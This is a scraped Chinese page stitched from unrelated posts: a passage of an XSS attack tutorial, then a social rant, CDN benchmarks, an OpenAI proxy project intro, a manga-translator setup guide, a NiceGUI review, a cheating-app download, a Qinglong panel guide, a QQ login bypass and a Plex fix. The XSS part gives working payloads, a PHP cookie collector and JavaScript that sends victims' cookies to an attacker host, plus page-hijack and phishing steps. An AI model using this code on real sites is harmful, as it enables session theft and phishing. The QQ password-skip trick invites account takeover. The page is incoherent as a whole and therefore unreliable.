这样的方式,虽然能够成功实现 一个XSS盲打攻击,但是,需要提醒各位,使用XSS平台容易造成法律风险。所以在实际项目或src挖掘时,需要慎重使用。

3.Cookie、请求头等位置

cookie和请求头中的这些传参位置,通常容易被开发人员和安全设备忽略掉。这个是由于,一般cookie这些数据不会直接显示在前端页面上。但是这并不意味着这些地方就是安全的,一定不可能存在XSS的。

我们对Cookie等位置的测试,一般也都是以盲打为主

了解完需要测试点位之后,接下来就需要去构造测试使用的javascript语句了。这些构造通常由三种形式:

1. 标签风格

借助各种标签来调用js代码,常用的标签由:svg,iframe,img ,script 等等

<svg onLoad svg onLoad="javascript:javascript:alert(303)"></svg onLoad>
<iframe onLoad iframe onLoad="javascript:javascript:alert(296)"></iframe onLoad>
<!--\x3E<img src=xxx:x onerror=javascript:alert(358)> -->
<script>javascript:alert(356)</script\x0B
<script charset="\x22>javascript:alert(357)</script>

直接在输入点传入完整的标签,这种方式主要用于网站将数据输出在了两个标签之间的情况
2. 事件风格

通过闭合标签中的属性,实现向标签中插入新的属性或者事件

' onerror=alert(1) \\ " onfocus=alert(1) autofocus=autofocus \\

如果你由仔细观察过标签风格中给出的xss语句,你会发现,其实在标签风格中就已经有不少poc是在借助事件来测试XSS了,它们和我们们现在说的这个的唯一区别就是,事件风格,不在受限于 <>字符了。我们是直接将数据插到了已有的标签中去实现攻击的
3. 伪协议风格:

伪协议风格的使用条件相对来说要求比较严格,需要标签存在 href 属性或者网页能需要填写http连接。所以通常会借助 a 标签或者一些特殊的文档语法来测试:

<a href="javascript:alert(1)"> testxss</a> [xsstest](javascript:alert(1))

总结:
通过构造一些特殊的xss poc,在可能出现XSS漏洞测试点将这些语句传入网站,我们就能过够相对轻松的探测出XSS漏洞

XSS的利用手法

安全声明:以下内容仅用于技术讨论和学习,请勿用于非法用途

当我们通过之前讲的一系列的探测手法,发现目标网站存在XSS漏洞之后,我们如何借助这些XSS漏洞获得实际有效的漏洞成果呢?特别是对于红队选手,红队的得分点并不在于发现漏洞,而是通过漏洞获得有价值的信息。

所以在这里就需要去讨论XSS漏洞究竟能带来什么样的危害,这些危害是如何去实现的。

XSS中最常见的攻击手段包括一下内容:

  • 窃取用户信息
  • 恶意重定向
  • 篡改网页内容
  • 发起钓鱼攻击

窃取用户信息

js能够在浏览器中获取用户的一些基本信息:cookie、个人资料等。这些实现的方式也并不复杂,最简单的方式如下:

  1. 通过vps搭建一个站点,要求如下:
  1. 任意用户能访问
  2. 接受2个传参:网址url地址和cookie,并将传递的参数进行base64解密
  3. 将域名+时间戳作为文件名,保存传递过来的cookie信息
    实现代码如下:
<?    
if(isset($_REQUEST['cookieinfo']) && isset($_REQUEST["url"]) ){        
$info = base64_decode($_REQUEST['cookieinfo']);
   $domain =base64_decode($_REQUEST['url']);
   file_put_contents($domain.time().".txt", $info);
   echo "nice to get this message";    
}else{        
  echo "hello world";    
}
?>
  1. 构建xss攻击语句,要求如下:
  1. 通过js获取目标站点的 cookie、host,并将这些信息进行base64编码
  2. 创建span标签、form标签、iframe标签
  3. span标签设置为 display:none ,并且添加 form标签和 iframe标签为子标签
  4. 设置form标签,将数据提交到接受网站,并且按照接收平台的规则将数据进行组装
  5. 设置form提交结果相应到iframe标签中 6. 将span标签添加到 html标签中,并且提交form标签

代码实现如下:

(function(){    
// 获得目标站点的信息    
var cookieinfo = btoa(document.cookie);
var url = btoa(window.location.host.replace(":","_"));    
// 设置接受信息的站点        
var target_url = "http://192.168.226.1/phpinfo.php";    
// 创建需要使用到的标签    
var html = document.getElementsByTagName('html')[0];    
var span = document.createElement("span");    
var form = document.createElement('form');    
var input1 = document.createElement("input");    
var input2 = document.createElement("input");    
// 设置form标签的基本属性    
form.action = target_url;    
// 设置传递的值域1 :cookie信息    
input1.name = "cookieinfo";    
input1.type = "text";    
input1.setAttribute("value",cookieinfo );    
// 设置传递的值域2 :域名信息    
input2.name = "url";    
input2.type = "text";    
input2.setAttribute("value",url)    
// 将值域填充到form表单中    
form.appendChild(input1);    
form.appendChild(input2);    
// 创建一个iframe,用于接受form表单提交后返回的数据    
var iframe = document.createElement("iframe");    
iframe.name = "_test";    
// 设置form的target,实现隐藏form回显的问题    
form.target = iframe.name;    
// 将form 和 iframe 都填充到 span 中    
span.appendChild(form);    
span.appendChild(iframe);    
// 将 span 标签隐藏    
span.style.display = "none";        
// 然后将表单都填充到html页面中    
html.appendChild(span);    
// 提交表单    
form.submit(); })()

通过这样的方式,就可以简单的实现用户数据窃取。当然,这样的代码比较丑陋(开发能力有限,见谅),在实际测试的时候有更优解:XSS平台

xss平台的作用和上面的功能是一样的。它是别人开发好的一套相对优雅的解法。但是,需要注意一点:公共XSS平台是不安全的,XSS平台的维护人员是能从XSS平台的后台获取所有打到该平台的XSS信息。

所以如果在实际项目中,项目对数据的保密性有要求,切忌使用公开XSS平台。

不过还是不能绕过XSS平台的简介,这里以 xsscom.com 平台为例,进行讲解,大部分的XSS平台都是大同小异的:
xss平台

首先访问站点,之后进行一个注册。因为国内政策的原因,现在大部分的XSS平台注册都需要邀请码,同时需要使用邮箱进行注册。邀请码这个东西,没辙,不过现在有一部分的XSS平台是不限制邮箱的,所以我们可以通过临时邮箱来注册这些平台。(攻防中,一定要保护还好自己的个人隐私)

(如何获取临时邮箱?你猜猜看)

注册完成之后,使用账户进行登录,我就不在截图了。登录成功之后创建一个项目。一部分XSS平台对项目创建和数据存储有限制,这个自行探索。
xss利用
创建 → 项目名称、描述 → 勾选模块(默认模块(必勾)、XSS.js(必勾)、基础认证钓鱼模块(可选)) → 完成
xss平台创建项目
当创建完项目之后,将会得到一个代码页面,拖到最下面,就会有XSS平台的利用方法:

xss平台利用方法
然后将这些利用方式,替换我们的XSS检测点的无害XSS,就能实现 基础的Cookie窃取:

cookie窃取
这个解法,就很优雅了。唯一的缺点是:使用的是公共XSS平台。信息保密性无法保证。

恶意重定向

这个理解起来也很简单:就是通过向网页插入一串JS代码,让网页自动跳转到指定的网站中。

window.location.href="http://192.168.226.1"

当然,这个方式并不够优雅,因为这个跳转之后,浏览器地址栏的内容也会发生变化。这个迷惑性相对来说比较低,只要稍微注意一点,就能发现网站发生了异常。

篡改网页内容

所以就有了更优雅的攻击方式:篡改网页内容。在不修改地址栏的内容,实现对网站内容的篡改。

这里介绍一个新的平台:xssaq.com。这也是一个XSS平台,只不过它更加的暴力和优雅:
xssaq.com
而我刚刚说的篡改网页你内容,就能通过他的一项配置来实现:

xss篡改网页
通过这个配置,就可以再不修改地址栏的内容。将网站重定向到指定的url中。在没有去看他的实现代码之前,我想到的思路是这样的:

  1. 通过js将原来的body给删除
  2. 通过js创建一个form表单,然后请求目标地址
  3. 通过js创建一个 iframe 标签,用来接收form表单的返回结果。
  4. 重新生成body,并且将form和iframe插入body标签。将body插入到html标签

在模仿Cookie窃取的思路来实现这个攻击。实现一下这个代码:

(function(){   var body = document.getElementsByTagName('body')[0];
body.parentNode.removeChild(body);
  var html = document.getElementsByTagName("html")[0];    
  body = document.createElement("body");    
  html.appendChild(body);    
  var iframe = document.createElement("iframe");    
  iframe.name = "_test";    
  var form = document.createElement("form");
  form.action="https://www.anchorubik.com";
  form.method="get";
  form.target = iframe.name;
  body.appendChild(form);
  body.appendChild(iframe);
  iframe.style.cssText =
  "position:absolute;"+
  "z-index:100000;"+
  "width:100%;height:100%;"+
  "frameborder=no;scrolling:no";    
  form.submit();})()

不过这个代码实现的并不优雅。因为当遇到一些站点,不允许iframe跨域调用时,页面就会报错。而且,如果目标站点使用的是https时,重定向的目标站也必须使用https。

然后我就去看了一眼xssaq平台是怎么实现的。嗯,我思路是没有错的:
xssaq平台
不过我尝试着直接拿上面的这一串代码放到浏览器中打self xss,发现效果没有上面的代码好。稍微修改一下自己的代码,然他显得不那么丑陋

(function(){    
var html = document.getElementsByTagName("html")[0];
  html.removeChild(document.getElementsByTagName("body")[0]);
  var body = document.createElement("body");
  body.style.cssText="scrolling:no";
  html.appendChild(body);
  var iframe = document.createElement("iframe");
  iframe.src="https://www.anchorubik.com";
  body.appendChild(iframe);
  iframe.style.cssText =
  "position:absolute;"+
  "z-index:100000;"+
  "width:100%;height:100%;"+
  "frameborder=no;scrolling:no";
  })()

优雅,不过如果细心一点还是能发现问题: 在网页上的操作,地址栏的内容将维持不变

xss网页

发起钓鱼攻击

在了解了串改网页内容攻击的原理之后,还想要进一步攻击,那不就是钓鱼了?而有了篡改网页内容的基础之后,接下来要钓鱼还不是轻轻松松?

  1. 通过在自己的vps上模仿搭建目标站点的登录页面。
  2. 在自己的vps中实现以下功能:

    a. 将用户提交的数据转发到原网站
    b. 如果登录成功,则将数据保存在本地。并且不在劫持页面。
    c. 如果登录失败,则将响应信息返回给目标用户,知道用户登录成功
    思路有了,接下来就是代码实现来了:我觉得这个时候,各位应该可以拿起cs了。cs有一个钓鱼模块,能够轻松复刻目标站点,并且实现键盘记录。通过XSS篡改目标网站到我们cs生成的网站,能够完美实现钓鱼。

具体的实现方式,我这里就去写了,有点懒,在这里我想讨论另一个东西:如果目标站点存在XSS漏洞,我已经能够通过XSS获取目标的Cookie了,还有必要去钓鱼吗?

我认为有点鸡肋。

XSS漏洞修复建议

  1. 对用户输入进行过滤和转义,可以使用html实体编码或JavaScript转义函数实现。对于不需要包含HTML标签的文本,可以直接使用纯文本方式输出。
  2. 对于需要包含HTML标签的富文本,可以使用专门的富文本编辑器或者Markdown等标记语言,在服务器端对HTML标签进行白名单过滤。
  3. 设置HTTP响应头的Content-Security-Policy,限制页面的资源加载,禁止加载任何非白名单域名下的JavaScript、CSS等资源。
  4. 对于cookie等敏感信息,应设置HttpOnly和Secure属性,禁止通过JavaScript读取或修改cookie的值。
  5. 定期更新相关组件和框架,及时修复已知的漏洞。

之前的网上话题只是让我感到不适,比如男女电梯事件,因为我已离开校园,总感觉离我比较远。但是最近成都的种种劣迹使我感到恐惧,一个普通男性随时随地成为小作文的受害者。一旦被污蔑,轻则颜面扫地,重则身败名裂,家庭破碎,失去工作。即使证明了自己没有违法,她们一句敷衍的道歉就结束了,没有得到任何惩罚。

一个女性污蔑你在偷拍,你不能有任何操作手机的行为,否则会认为你心虚在删照片。即使等到警察到来,检查你的手机,如果你的手机有一些不允许安装的 app ,那么后果将更加严重。

换城市的代价是巨大的,再说国服这个环境到哪都是一样。

当下前端工程化后,大家都把东西塞进 Bundle 了,曾经很重要的“前端静态资源公共 CDN”也似乎即将成为时代的眼泪。然而对于一些写 Demo 之类的需求,它们还是有点用的,再加上目前互联网上对静态资源公共 CDN 的评测文章大多过时,于是我测试并总结了一下。本次测试使用 curl 和 hyperfine 并切换多个代理节点(是的我知道这不精确)。

TLDR: 境外 jsDelivr / UNPKG 任选,境内推荐 npmmirror ,境内外都有需求建议 npmmirror 但不完美。如使用特别流行的库,也可使用 cdnjs 或其他国内 CDN 。

前端公共 CDN 目前大致分两类,一类是 cdnjs 这种需提交审核的,另一类是 jsDelivr 这种镜像 NPM 的。前一类的代表自然是 Cloudflare cdnjs ,或者 Google 的 CDN 。国内此类 CDN 通常以 cdnjs 为上游进行同步。BootCDN 曾经很流行,但曾有多次事故,恐怕用起来还需谨慎。

后一类是本文重点,许多时候我们写的 Demo 所需的库并未被 cdnjs 收录,提交审核又太费时费力,所以我偏好使用直接镜像 NPM 的公共 CDN。

分别是 npmmirror (淘宝 NPM 镜像),饿了么 UNPKG CDN ,UNPKG ,jsDelivr 。我们的测试命令:

testonce(){ ./hyperfine -w 2 -r 10 -p "sleep 1" -u millisecond "curl $1 >/dev/null" ;}
testonce https://registry.npmmirror.com/@fontsource/noto-serif-sc/5.0.3/files/files/noto-serif-sc-chinese-simplified-400-normal.woff2
testonce https://npm.elemecdn.com/@fontsource/noto-serif-sc@5.0.3/files/noto-serif-sc-chinese-simplified-400-normal.woff2
testonce https://unpkg.com/@fontsource/noto-serif-sc@5.0.3/files/noto-serif-sc-chinese-simplified-400-normal.woff2
testonce https://cdn.jsdelivr.net/npm/@fontsource/noto-serif-sc@5.0.3/files/noto-serif-sc-chinese-simplified-400-normal.woff2

顺便我在移动 4G 测试 jsDelivr 始终 Reset ,像是个墙中墙。

总结:jsDelivr 曾经是完美的选择,但自从证书吊销事件后在大陆地区的访问就不是很正常; UNPKG 表现一般,至少都能用; npmmirror 在境外也有节点,虽然不如 jsDelivr 那么多,但是均衡的选择;饿了么 CDN 仅适合无境外访问需求的场景。

概述

简单来说,本项目适合两类人群:

  • 自己想搭建 OpenAI 三方代理对外提供付费服务的。
  • 自己有多个渠道的多个 key ,想通过一个接口以负载均衡的方式进行使用的,或者说想分享给身边人但是又不想直接给原始密钥的。

功能

  1. 支持多种 API 访问渠道,欢迎 PR 或提 issue 添加更多渠道:
  2. OpenAI 官方通道(支持配置代理)
  3. Azure OpenAI API
  4. API2D
  5. OhMyGPT
  6. AI Proxy
  7. AI.LS
  8. OpenAI Max
  9. OpenAI-SB
  10. CloseAI
  11. 自定义渠道:例如各种未收录的第三方代理服务
  12. 支持通过负载均衡的方式访问多个渠道。
  13. 支持 stream 模式,可以通过流式传输实现打字机效果。
  14. 支持多机部署,详见此处。
  15. 支持令牌管理,设置令牌的过期时间和使用次数。
  16. 支持兑换码管理,支持批量生成和导出兑换码,可使用兑换码为账户进行充值。
  17. 支持通道管理,批量创建通道。
  18. 支持用户分组以及渠道分组,支持为不同分组设置不同的倍率。
  19. 支持渠道设置模型列表。
  20. 支持查看额度明细。
  21. 支持发布公告,设置充值链接,设置新用户初始额度。
  22. 支持丰富的自定义设置,

    支持自定义系统名称,logo 以及页脚。
    支持自定义首页和关于页面,可以选择使用 HTML & Markdown 代码进行自定义,或者使用一个单独的网页通过 iframe 嵌入。
  23. 支持通过系统访问令牌访问管理 API 。
  24. 支持用户管理,支持多种用户登录注册方式:

    • 邮箱登录注册以及通过邮箱进行密码重置。
    • GitHub 开放授权。
    • 微信公众号授权(需要额外部署 WeChat Server)。
  25. 未来其他大模型开放 API 后,将第一时间支持,并将其封装成同样的 API 访问方式,目前正在做 Google PaLM 的支持。

部署

已打包好 Docker 镜像,一行命令即可部署:执行:

docker run -d --restart always -p 3000:3000 -v /home/ubuntu/data/one-api:/data justsong/one-api

详情请参考项目 README: https://github.com/songquanpeng/one-api

这里不再赘述。

演示

在线演示: https://openai.justsong.cn

送五个充值码让大家简单体验一下:

48f530140cda44fd8e6638296b5b6cbb

0a8fa891290c4e5ba119c469723ea668

52af0695057949aa984ed4d0fed39f32

71950963b2bf4c80bb0f679e8164999e

d13db8d277d24e7a8fd0bfed595d7a29

截图展示:
搭建你的 OpenAI 接口服务,支持多种渠道包括 Azure,支持渠道管理、令牌管理、用户管理,开箱即用 & 功能丰富
搭建你的 OpenAI 接口服务,支持多种渠道包括 Azure,支持渠道管理、令牌管理、用户管理,开箱即用 & 功能丰富1
搭建你的 OpenAI 接口服务,支持多种渠道包括 Azure,支持渠道管理、令牌管理、用户管理,开箱即用 & 功能丰富2

其他

项目地址: https://github.com/songquanpeng/one-api

期待大家的试用反馈!

不用 GPU 搭建一个漫画自动翻译网站

简介

最近因为看《我心里危险的东西》和《放学后失眠的你》然后因为太喜欢了就去看漫画了,后来又一发不可收拾就去追更漫画了。还追了一部没找到熟肉的条漫。条漫是英语还好,我自己虽然只是四级水平的英语能力,但是可以勉强能看懂台词,实在看不懂的可以去直接各个翻译平台就行了。但是日漫还有一些本子来说说,我完全不认识日文,想去平台翻译也不太好翻译。因为漫画不是小说,文字都是图片形式的,自己去做 OCR 识别再去翻译属实是折磨中的折磨。因此我就到处找能用的软件 /平台终于让我找到了这个程序。试用了一下就觉得这就是我要的。

这个项目就是: https://github.com/zyddnys/manga-image-translator

硬件需求

理论上来说还是推荐大家使用 GPU 服务器提供服务,这样速度会更快。还有就是推荐用海外平台。主要是为了方便用一些海外服务商的翻译服务。当然,也可以国内直接搭建,家用电脑也可以。

我们这里用的是

腾讯云的硅谷轻量服务器( 2C2G )

说回项目本身。硬件配置 2C2G 其实是有些低的,但是我也只是需要最小可用即可。因为这是为我自己个人使用而搭建的,没有正式商业化的打算。如果你需要的是商业化或者说开放给大家使用的话那么推荐可以考虑购买活动主场的新老同享区的 GPU 计算型 GN7 服务器,推荐年付。服务器价格只有平时的三折,对于 GPU 服务器来说每月只需 798 还是很划算的。

购买时镜像可以选择 Debian 或者是 linux 宝塔

环境配置

方面主要是 python 环境推荐 3.8 及以上版本。

可以通过python --version进行查看默认版本号。如果遇到提示版本号 2.7 或者提示下图的

python:command not found可以尝试使用

python3 --version

确定 python3 版本符合要求之后我们还需要进行额外的一步操作,让 linux 系统下的默认的 python 命令绑定到 python3 上。

1 、如果你的系统只有 python3:

1.1 首先,确认已安装的 Python3 版本和其安装路径。可以通过以下命令查找 Python3 的安装路径:

which python3
#/usr/bin/python3

1.2 假设 Python3 的路径为 /usr/bin/python3(如果实际路径不同,请将以下步骤中的路径更改为实际路径),你可以运行以下命令将 Python3 添加为系统的可选择 Python 版本:

update-alternatives --install /usr/bin/python python /usr/bin/python3 1

这个命令的意思是,将 /usr/bin/python3 作为可供选择的 Python 版本,并为它设置优先级为 1 。

1.3 运行以下命令,你可以看到所有可供选择的 Python 版本:

update-alternatives --config python

在出现的列表中,选择 Python3 作为默认版本。

2 、同时有 python2 ,python3

还是一样的操作

which python2
which python3

然后,你需要使用 update-alternatives 命令将两个版本的 Python 添加到可选项中。你可以给它们设置一个优先级,数值越大,优先级越高。在这个例子中,我们将给 Python3 设置更高的优先级,使其成为默认版本:

update-alternatives --install /usr/bin/python python /usr/bin/python2 1
update-alternatives --install /usr/bin/python python /usr/bin/python3 2

最后再选择 python3 版本的作为默认版本即可

update-alternatives --config python

项目搭建

接下来就是重头戏了。

添加 swap
首先给你的服务器添加 swap 。因为这个项目还是比较吃内存的,我个人推荐内存+swap 最好大于 8GB 。这里我添加了 8GB 的 swap

按照以下的命令一次复制粘贴执行即可

fallocate -l 8G /swapfile
#创建 swap 文件
chmod 600 /swapfile
#权限设置成只有 root 用户才能读写
mkswap /swapfile
#设置成 swap 空间
swapon /swapfile
#启用 swap 文件
swapon --show
#查看是否成功启用
echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab
#重启有效

不用 GPU 搭建一个漫画自动翻译网站项目搭建

项目配置

首先我们需要编译安装pydensecrf,注意一定要先安装这个,不然可能会导致奇奇怪怪的问题

#海外服务器
pip install git+https://github.com/lucasb-eyer/pydensecrf.git
#国内服务器
pip install git+https://ghproxy.com/https://github.com/lucasb-eyer/pydensecrf.git

这个速度可能会有点慢,稍微等几分钟就行。
不用 GPU 搭建一个漫画自动翻译网站项目配置

再拉取项目仓库:

#海外服务器
git clone https://github.com/zyddnys/manga-image-translator.git
#国内服务器
git clone https://ghproxy.com/https://github.com/zyddnys/manga-image-translator.git

安装依赖:

cd manga-image-translator
pip install -r requirements.txt

等依赖安装的过程之中我们可以先看下面的操作。

防火墙设置

项目可以命令行运行也可以 web 运行,我们时需要 web 服务,方便在线访问的。项目 web 模式会默认运行在 5003 端口,所以我们需要先去服务器控制台进行端口开放,如果使用了宝塔服务器还需要去宝塔后台同样进行操作。
腾讯云轻量服务器控制台: https://console.cloud.tencent.com/lighthouse/instance
选择项目服务器,点击防火墙
不用 GPU 搭建一个漫画自动翻译网站防火墙设置

开放 5003 端口协议选 tcp
不用 GPU 搭建一个漫画自动翻译网站开放5003端口

宝塔面板开放端口,操作都是类似的,但是宝塔强制要求备注
不用 GPU 搭建一个漫画自动翻译网站宝塔面板

防火墙设置完成之后,项目依赖应该也已经完成了。

项目运行

我们是 CPU 服务器,需要提供 web 在线服务。
所以我们可以直接用命令行命令,如果是腾讯云的 GPU 服务器,在初始化的时候会自动安装 cuda ,运行命令也只需要加上--use-cuda就可以了

python -m manga_translator --verbose --mode web
python -m manga_translator --verbose --mode web --use-cuda

不用 GPU 搭建一个漫画自动翻译网站项目运行

这时候你可以直接在宝塔面板设置反向代理就可以通过域名访问了
如果你不需要域名,要直接通过 IP:端口来访问,还需要给命令指定 host 才行,否则无法访问公网 IP:端口,内网 IP 可在服务器控制台查看,也可以通过ifconfig命令查看一般都是 eth0 的 ip

python -m manga_translator --verbose --mode web --host 内网 IP
# python -m manga_translator --verbose --mode web --host 10.0.4.14

不用 GPU 搭建一个漫画自动翻译网站ip端口

这样就可以直接在公网通过公网 ip:5003 来访问 web 服务了。
不用 GPU 搭建一个漫画自动翻译网站web服务

我个人偏向于使用离线翻译节约成本,需要其他翻译器的可以查看官方文档添加 api key 。
翻译器列表:
我用的是 m2m100_big 。
首次运行会下载对应翻译模型,OCR 包等大文件不用 GPU 搭建一个漫画自动翻译网站翻译模型

你可以下载对应文件然后上传到对应目录,也可以先看一下是需要下哪些文件,可以提前下好不用 GPU 搭建一个漫画自动翻译网站下载

下载文件都是 github 文件,所以都可以通过加速链接下载源文件到指定文件夹
加速下载方式:

wget https://ghproxy.com/+github-url -P 文件夹
# wget https://ghproxy.com/https://github.com/zyddnys/manga-image-translator/releases/download/beta-0.3/inpainting_lama_mpe.ckpt -P /home/lighthouse/manga-image-translator/models/inpainting

然后就可以看到项目运行了
不用 GPU 搭建一个漫画自动翻译网站项目运行1

整个工作流流程大概分为以下几个:
上传图片——ocr 提取原文——翻译——重新绘图——返回图片
其中可能涉及到分辨率放大处理之类的
下面是我的测试效果:

原图
不用 GPU 搭建一个漫画自动翻译网站原图
完成图
不用 GPU 搭建一个漫画自动翻译网站翻译完成
我对这个效果还是很满意的。

批量翻译

批量翻译只支持命令行翻译

命令行翻译单一图片

# 如果机器有支持 CUDA 的 NVIDIA GPU ,可以添加 `--use-cuda` 参数
# 使用 `--use-cuda-limited` 将需要使用大量显存的翻译交由 CPU 执行,这样可以减少显存占用
# 使用 `--translator=<翻译器名称>` 来指定翻译器
# 使用 `--target-lang=<语言代码>` 来指定目标语言
# 将 <图片文件路径> 替换为图片的路径
# 如果你要翻译的图片比较小或者模糊,可以使用 upscaler 提升图像大小与质量,从而提升检测翻译效果
python -m manga_translator --verbose --use-cuda --translator=google --target-lang=CHS -i <path_to_image_file>
# 结果会存放到 result 文件夹里

批量翻译只要加上--mode batch就可以了

# 其它参数如上
# 使用 `--mode batch` 开启批量翻译模式
# 将 <图片文件夹路径> 替换为图片文件夹的路径
python -m manga_translator --verbose --mode batch --use-cuda --translator=google --target-lang=CHS -i <图片文件夹路径>
# 结果会存放到 `<图片文件夹路径>-translated` 文件夹里

web 服务持续运行

这里推荐两种方法:screen 和 nohup

1 、screen

#安装 screen
apt install screen -y
# 创建一个 shell 窗口

screen -R manga

然后在直接运行 web 服务命令即可。CTRL + A ,CTRL + D 让这个 shell 窗口挂载运行。

下次需要进入这个窗口可以再次输入screen -R manga进入
2 、nohup

nohup python -m manga_translator --verbose --mode web > output.log 2>&1 &

这个命令作用是把所有日志都输出到 output.log 中,最后的&表示让这个命令在后台运行

其他

项目地址: https://github.com/zyddnys/manga-image-translator

项目官方演示站: https://touhou.ai/imgtrans/

项目其他前端: https://github.com/VoileLabs/cotrans

目前在线翻译上用油猴脚本配合CORS插件可以实现最小可用了。 脚本有需要的可以在我的博客找到

NiceGUI 已经 1.0+, 已移除 JustPy 依赖, 只基于 Vue 3 + Quasar 2 + Tailwind 3, 加载速度很快!

?️ NiceGUI 介绍:

  • ✅️ https://github.com/zauberzeug/nicegui
  • ✅️ 之前依赖 JustPy, 加载速度非常慢, 现在已经移除 JustPy.
  • ✅️ 只依赖 Vue 3 + Quasar 2 + Tailwind 3. 实测加载速度非常快! 完全可用.

    官网演示:

https://nicegui.io/documentation
官网+文档示例, 都是基于 nicegui 实现. 加载速度很快. (对比基于 justpy 时, 速度跟?️一样)

?️ 更新评价:

  • ✅️ 200 天前, 评价过这个项目.
  • 当时基于它依赖 JustPy, 给出评价: 垃圾.
  • ✅️ 200 天后, 再看, 移除 JustPy 之后, 加载性能非常好!(代码做了大量重构)
  • 实测开发效率非常高, 上手很快.

    ?️ 本人实测 demo:

    ✅️ https://github.com/better-py/learn-py/tree/main/packages/py-try/try-nicegui

  • 这是一个简单的 desktop APP UI 布局.
  • 总归不到 200 行, 实现非常多的效果.
  • 支持 UI 自适应.
    ✅️ 后续我会做个 nicegui 项目模板(已经做了 70%), 开源出来给大家用.

    Mac + Desktop App 预览效果:

    目前存在的问题:

  • ✅️ 生态很小, 几乎没有. (比较 200 天,才有讨论, 加上首次观感极差!)
  • 好在 1.0+ 源码非常简单, 可读性很好. 1 天不到, 就掌握 7788.
  • Vue 3 + Quasar 2 + Tailwind 3 本身表达能力就很强. 弥补了劣势.
  • ✅️ 打包问题:
  • 使用 PyInstaller 打包成 desktop app, 有 bug. 不正常. 打开+直接退出. (还在调试)
  • 原生不支持更改打包 app icon, 基于 PyInstaller 参数, 可绕过 + 支持.
  • ✅️ system tray 问题: 系统托盘图表.

NiceGUI vs JustPy 对比:

关于 Quasar 2(Vuejs UI 框架):

  • ✅️ https://quasar.dev/vue-components/tabs
  • ✅️ NiceGUI 暴露了 Quasar 2 的 props 和 slots, 使用 Quasar 2 非常简单.
  • ✅️ NiceGUI 源码注释很贴心, 直接贴了 Quasar 2 文档链接.
  • ✅️ 在这之前, 完全没用过 Quasar 2(有 vue3 经验). 参考注释, 使用 Quasar 2 没有障碍!
关于技术选型的思考, 多说一句:
  • ✅️ 虽然我之前一直在使用 vue3 + element-plus, 短暂使用 naive-ui(组件不全).
  • element-plus 挺好用, 文档也完善.
  • 但考虑到 国人项目, 老外几乎不用. (潜在问题, 国外新项目的技术组合, 就几乎不会基于 国人项目)
  • Quasar 2 国内极少有人用, 之前看 v2 前端的评价(不高), 就没关注.
  • 实际 Quasar 2 的体验, 挺好, 也并不复杂.(还是不能轻信他人评价)
  • 想说的是: 如果同类竞品, 有国外项目, 个人建议尽量选国外项目.
  • 不是崇洋媚外, 仅从未来生态丰富度 /现实意义思考.(复用更多开源成果)

Android 学习强国助手 v1.2.46.0-2适配强国最新版本
更新说明
2023年6月4日更新:
1.适配学习强国V2.46.0,适应新规制趣味答题。
2.尝试加入广告。
3.请卸载重新安装。
4.为更新最新题库,请先卸载原APP再安装新版本。若在APP内下载,下载目录在手机跟目录下apk文件夹中。
Android 学习强国助手 v1.2.46.0-2适配强国最新版本1
因为app文件过大,所以压缩之后上传,解压密码:blog.xiaohack.org
下载地址:
夸克王攀:https://pan.quark.cn/s/29ced29a22eb

蓝奏网盘:https://wwxb.lanzoul.com/iZFJ90yp0epe

这方法对于很多想使用青龙来撸各种活动的人来说真的很方便了,毕竟为了撸活动专门搞个服务器好像也不大划算。

准备工作

1、一部备用机(因为东西一直开着很耗电)
2、下载安装我发的压缩包里面的软件
复制这段内容后打开天翼云盘手机App,操作更方便哦!链接:https://cloud.189.cn/t/Mn6zYjUr6Bve(访问码:hc7h)

教程开始

1、解压下载的压缩包,里面一共三个东西,mt管理器,全部安装
手机无root搭建青龙面板
2、打开Zerotermux,给予存储权限,
输入命令termux-setup-storage,回车再输入ls -a命令(这里是ls空格-a)回车出现了storage就开启成功了
若果不成功清除软件全部数据,然后重新操作
手机无root搭建青龙面板1
3、第三步,把下载好的恢复包导入内部存储/xinhao/data/里面,
打开Zerotermux,从左面侧滑会出现拓展栏(请务必关闭全面屏手势,不然一滑就退出),
在左栏找到备份/恢复,之后点进去,再点击恢复,选择你刚才导入的那个包
手机无root搭建青龙面板2
手机无root搭建青龙面板3
手机无root搭建青龙面板4
4、切换到青龙面板容器,
侧滑->容器切换->选择刚刚恢复的容器名称->切换->然后清除后台重启此app

5、检查是否存在青龙控制面板按照程序,
输入以下命令ls -a回车(ls后面是有一个空格),像图上这样说明成功了
手机无root搭建青龙面板5
6、我们需要执行青龙的安装程序输入以下命令./ql.sh
如图一这样运行就代表正在安装,结束之后就可以访问青龙控制面板了,
手机无root搭建青龙面板6
想使用的话,这个软件后台要一直开着

通过这个方法找回了两个8位的qq号,其中一个还记录着青春期的恋爱记录。。。
大家可以试试,可惜以前的手机号不用了,不然还能找回好多。
由于这次教程,实现了选择手机号登录,可以实现免密登录 QQ,
大家要小心被盗号现象
面是方法:

选择手机号登录,到了 QQ 列表页面,点击相应的 QQ
1、极少数情况,直接免密登录
2、大部分情况,进到输入密的页面,第一次把密码输错,返回到 QQ 列表页面,点那个 QQ,就可以免密直接登录。

最近买了一个 CM311-1a 盒子,按部就班装上 Plex 的 app ,播放时发现,如果片源音频是 AC3 或 EAC3 格式,没有声音;如果是 aac 、dts 等声音正常。经过多方查询,尝试多种办法后,发现最简单的解决方法如下:

  1. plex 安装之后,首次启动会让选择 tv 模式或手机模式,此时务必选择手机模式。在手机模式的设置菜单里面,找到音频选择,可以发现,AC3 和 EAC3 都打上了勾,DTS 等没有打勾,这说明 Plex 默认在终端解码 AC3 和 EAC3 音频流,而 DTS 等音频格式是在服务端解码。CM311-1a 盒子,若缺少 AC3/EAC3 解码功能,对片源音频流是 AC3/EAC3 就无法解码,也就没有声音。所以,需要取消 AC3 和 EAC3 右边的勾选,这样 AC3 和 EAC3 就会在服务端进行解码后传送到盒子,就能出声了。
  2. 在手机模式界面设置好音频解码之后,将界面模式切换到 TV 模式,正常使用 Plex 。

PS:如果之前没有在手机界面设置 AC3/EAC3 解码选项,已经切换到 TV 模式,这时 TV 模式的设置里面是没有显示 AC3/EAC3 解码设置选项的。理论上需要将 plex 的界面从 TV 模式切换回手机模式,设好后再切换回 TV 模式。但实在没有找到从 TV 模式切换回手机模式的地方,这时只有删掉 Plex ,重新安装一下 apk ,在初始界面选择手机模式,设好之后再切换到 TV 模式。

